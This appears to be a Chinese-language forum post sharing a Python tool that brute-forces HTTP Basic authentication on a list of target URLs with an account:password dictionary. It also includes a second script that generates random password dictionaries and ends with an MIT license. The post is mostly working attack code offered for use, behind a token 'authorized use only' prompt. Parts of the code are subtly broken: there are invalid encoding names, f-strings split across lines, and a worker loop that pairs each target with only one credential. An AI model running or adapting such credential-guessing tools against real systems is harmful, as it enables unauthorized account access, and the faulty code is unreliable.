HTTP 基础认证弱口令漏洞利用工具(python)

微尘

import requests
import threading
from queue import Queue
import time
from datetime import datetime
import re


# -------------------------- 配置参数（需根据授权场景调整） --------------------------
TARGET_FILE = "目标.txt"
DICT_FILE = "账户密码.txt"
THREAD_NUM = 5
TIMEOUT = 10
# -----------------------------------------------------------------------------------

target_queue = Queue()
dict_queue = Queue()
print_lock = threading.Lock()
stats = {"vuln": 0, "safe": 0, "error": 0, "no_match": 0}


def validate_url(url):
    pattern = re.compile(r'^(https?://)?([a-zA-Z0-9-]+\.)+[a-zA-Z]{2,}(:\d{1,5})?(/.*)?$')
    return re.match(pattern, url) is not None


def load_items(file_path, queue, split_func=None):
    try:
        with open(file_path, 'r', encoding='utf - 8') as f:
            items = [line.strip() for line in f if line.strip()]
            if split_func:
                items = [split_func(item) for item in items if split_func(item)]
            for item in items:
                queue.put(item)
            print(f'[+] 加载 {queue.qsize()} 个项目')
    except FileNotFoundError:
        print(f'[-] 文件 {file_path} 不存在')
        raise


def verify_auth(target, username, password):
    result = {
        "target": target, "username": username, "password": password,
        "status": "unknown", "message": "", "time": datetime.now().strftime("%Y-%m-%d %H:%M:%S")
    }
    try:
        auth = (username.encode('utf - 8'), password.encode('utf - 8'))
        resp = requests.get(target, auth=auth, timeout=TIMEOUT, verify=False)
        if resp.status_code == 200:
            result["status"] = "vuln"
            result["message"] = "弱口令漏洞存在"
        elif resp.status_code == 401:
            result["status"] = "safe"
            result["message"] = "账号密码不匹配"
        else:
            result["message"] = f'未知状态码 {resp.status_code}'
    except requests.exceptions.ConnectTimeout:
        result["status"] = "error"
        result["message"] = "目标连接超时"
    except requests.exceptions.ConnectionError:
        result["status"] = "error"
        result["message"] = "目标连接失败"
    except Exception as e:
        result["status"] = "error"
        result["message"] = f'未知错误 {str(e)[:30]}...'
    return result


def worker():
    while not (target_queue.empty() or dict_queue.empty()):
        target, (username, password) = target_queue.get(), dict_queue.get()
        res = verify_auth(target, username, password)
        log_line = f"{res['time']}\t{res['status']}\t{res['target']}\t{res['username']}\t{res['password']}\t{res['message']}\n"
        with print_lock:
            with open(f'dict_brute_log_{datetime.now().strftime("%Y%m%d%H%M%S")}.txt', 'a', encoding='utf - 8') as f:
                f.write(log_line)
            status_print = {
                "vuln": f'[!] 【漏洞存在】 {res["target"]} | 账号：{username} | 密码：{password}',
                "safe": f'[+] 【无漏洞】   {res["target"]} | 账号：{username} | 密码：{password}',
                "error": f'[-] 【验证失败】 {res["target"]} | 账号：{username} | 密码：{password} | {res["message"]}',
                "no_match": f'[-] 【无匹配】   {res["target"]} | 账号：{username} | 密码：{password} | 字典无匹配密码'
            }
            print(status_print[res["status"]])
            stats[res["status"]] += 1
            print(f'

剩余任务：{target_queue.qsize() + dict_queue.qsize() // THREAD_NUM} | 已发现漏洞：{stats["vuln"]}')
        target_queue.task_done()
        dict_queue.task_done()


def main():
    print("=" * 60 + "\n  警告：本工具仅用于授权环境下的学习，禁止未授权使用！\n" + "=" * 60)
    if input("\n是否已获得授权并确认用于学习？（y/n）：").lower() != "y":
        return
    print(f'

工具启动于 {datetime.now().strftime("%Y-%m-%d %H:%M:%S")}')
    try:
        load_items(TARGET_FILE, target_queue)
        load_items(DICT_FILE, dict_queue, lambda x: tuple(x.split(':', 1)) if ':' in x else None)
    except FileNotFoundError:
        return
    if target_queue.empty() or dict_queue.empty():
        return
    start = time.time()
    for _ in range(THREAD_NUM):
        threading.Thread(target=worker, daemon=True).start()
    target_queue.join()
    dict_queue.join()
    print(f'\n

任务完成 | 耗时 {round(time.time() - start, 2)}s')
    print(f'

统计：漏洞 {stats["vuln"]} 个 | 无漏洞 {stats["safe"]} 个 | 失败 {stats["error"]} 个 | 字典无匹配 {stats["no_match"]} 个')


if __name__ == "__main__":
    main()

微尘

目标点txt文件内写入检测网址，账户密码内些入账户密码字典，格式为(账号名:密码)

微尘

赠送配对账号密码生成字典（也是Python）
import random
import string

def generate_account_password_dict(output_file):
    """
    手动输入账号，生成对应密码字典（密码：大小写字母+各种符号）
    格式：手动输入的账号:自动生成的密码
    """
    # 初始化密码字符集：大写字母+小写字母+数字+常见符号（移除汉字）
    password_chars = (
        list(string.ascii_uppercase) +  # 大写字母（A-Z）
        list(string.ascii_lowercase) +  # 小写字母（a-z）
        list(string.digits) +           # 数字（0-9）
        list("!@#$%^&*()_+{}|:\"<>?`-=[]\\;',./")  # 常见符号（28种）
    )

    # 手动输入账号（去重且支持空行结束）
    accounts = []
    print("请输入需要生成密码的账号（输入空行结束）：")
    while True:
        account = input("账号：").strip()
        if not account:  # 输入空行时停止收集账号
            break
        if account in accounts:
            print(f"&#9888;&#65039;  账号「{account}」已存在，无需重复输入")
            continue
        accounts.append(account)
   
    if not accounts:
        print("[-] 未输入任何账号，字典生成失败")
        return

    # 自定义密码参数（支持异常处理，默认值兜底）
    try:
        password_count = int(input(f"\n为每个账号生成多少个密码？（如10）：").strip())
        min_len = int(input("密码最小长度？（如6）：").strip())
        max_len = int(input("密码最大长度？（如12）：").strip())
    except ValueError:
        print("[-] 输入需为整数，自动使用默认值：每个账号10个密码，长度6-12位")
        password_count = 10
        min_len = 6
        max_len = 12

    # 确保最小长度≤最大长度
    if min_len > max_len:
        min_len, max_len = max_len, min_len

    # 生成并写入字典文件
    with open(output_file, "w", encoding="utf-8") as f:
        for account in accounts:
            for _ in range(password_count):
                # 随机生成指定长度的密码（从字符集随机选择）
                password_len = random.randint(min_len, max_len)
                password = "".join(random.choice(password_chars) for _ in range(password_len))
                f.write(f"{account}:{password}\n")

    # 输出生成结果统计
    total_groups = len(accounts) * password_count
    print(f"\n[+] 字典生成完成！")
    print(f"&#128193; 保存路径：{output_file}")
    print(f"&#128202; 统计：{len(accounts)}个账号 × 每个账号{password_count}个密码 = 总计{total_groups}组")


if __name__ == "__main__":
    # 字典输出文件名（可自定义，默认保存在当前目录）
    output_file = "手动账号_字母符号密码字典.txt"
    generate_account_password_dict(output_file)

微尘

MIT 许可证

版权所有 (c) 2025 [微尘]

特此授予任何获得本软件及相关文档文件（以下简称“软件”）副本的人免费许可，在不受限制的情况下处理本软件，

包括但不限于使用、复制、修改、合并、出版、发行、再许可和/或出售本软件副本的权利，

并需遵守以下条件：

上述版权声明和本许可声明应包含在本软件的所有副本或实质部分中。

本软件按“现状”提供，不提供任何形式的保证，无论是明示的还是暗示的，

包括但不限于适销性、特定用途适用性和非侵权性的保证。在任何情况下，

作者或版权持有人均不对因本软件或本软件的使用或其他交易引起的任何索赔、损害或其他责任承担责任，

无论是在合同诉讼、侵权行为或其他方面。